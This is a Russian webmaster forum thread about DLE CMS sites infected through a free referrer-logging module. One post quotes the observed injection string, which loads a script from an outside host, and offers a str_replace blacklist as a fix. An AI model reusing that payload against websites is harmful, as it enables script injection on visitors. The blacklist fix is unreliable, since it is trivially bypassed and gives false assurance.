Помощник
|
И снова DLE, Взлом или что-то другое? |
Аудитор |
30.9.2011, 14:59;
Ответить: Аудитор
Сообщение
#12
|
|
Модуль зло - один из моих сайтов так и не оправился.. после вирусов, начались постоянные проблемы с ранжированием.. сейчас уверенный АГС НИкогда и никакой версии больше ставить не буду. "Дырки", там не просто так поставлены. Причем, я две недели не замечал кликандера, очень хитро он себя вел.
Вообще бесплатные модули - зло. Я в альтруистов не верю с садика. -------------------- |
|
|
lamov |
30.9.2011, 15:31;
Ответить: lamov
Сообщение
#13
|
|
я тогда переходил на 9.1 версию, сейчас поставил 8.9, да, багнутый, но больших сложностей с ним нет, как в новых версиях...нужно дорабатывать модуль.
|
|
|
elvis81
|
Сообщение
#14
|
|
|
Я тут немного освободившись поискал проблемму и решил её по дилетантски.
Так-как я програмировании полный НУБ то решение искал простое. Все дыры латал как было в баг фиксах написно и ничего не помогало. Но я нашёл самостоятельное решение. Сразу же поделюсь с теми кто тоже может мучаться с такими же проблеммами. Кстати запрос реф-спама изменился на: http://сайт/></a><script src=http://womanan.ru/s.js></script><a href= Я вбивал в гугле и не поверите как много сайтов заражены таким запросом. И так это недостаточная фильтрация входящих данных. У меня стоит очень старая версия модуля "Переходы", доработанная вручную. Все исправления пытаются запретить запросы к базе данных и не один баг-фикс не заработал как нужно. Я же решил просто запретить модулю "переходы" отображать некоторые символы и проблемма решилась. Вот подробности: Находим в файле site/engine/modules/referer.php $http_referer = str_replace ('www.', '', $http_referer); Ниже дописываем: $http_referer = str_replace ('src=http://', '', $http_referer); # вырезаем src=http:// $request_uri = str_replace ('src=http://', '', $request_uri); # вырезаем src=http:// $request_uri = str_replace ('a href=', '', $request_uri); # вырезаем a href= $request_uri = str_replace ('.js', '', $request_uri); # вырезаем .js $http_referer = str_replace ('a href=', '', $http_referer); # вырезаем a href= $http_referer = str_replace ('.js', '', $http_referer); # вырезаем .js И всё проблемма решена. Модуль просто перестаёт отображать эти запросы. Нам же главное чтобы на сайте не отображались всякие гадостные скрипты. Кстати, всем кто откликнулся и отписался в этом топике, большое спасибо.
-------------------- |
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
DLE xProtect | 2 | xoopw | 5977 | 15.1.2024, 21:06 автор: Diana_Wesley |
|
Обновить сайт на CMS DLE | 1 | Sawich | 1662 | 2.9.2023, 10:10 автор: WoWeb |
|
Изготовление красивых сайтов на DLE под ключ | Доступные цены от 2000 руб. |
1 | Admiral_ukr | 1598 | 20.11.2022, 10:08 автор: Webmaster24 |
|
Ищу спеца по DLE вылечить сайт | 4 | Reactive | 2640 | 22.10.2022, 9:01 автор: Fozik77 |
|
требуется перенос с Dle на wordpres нужен человек для переноса движка |
5 | Юрий82 | 1943 | 30.7.2022, 18:02 автор: Klerik84 |
Текстовая версия | Сейчас: 19.4.2024, 17:46 |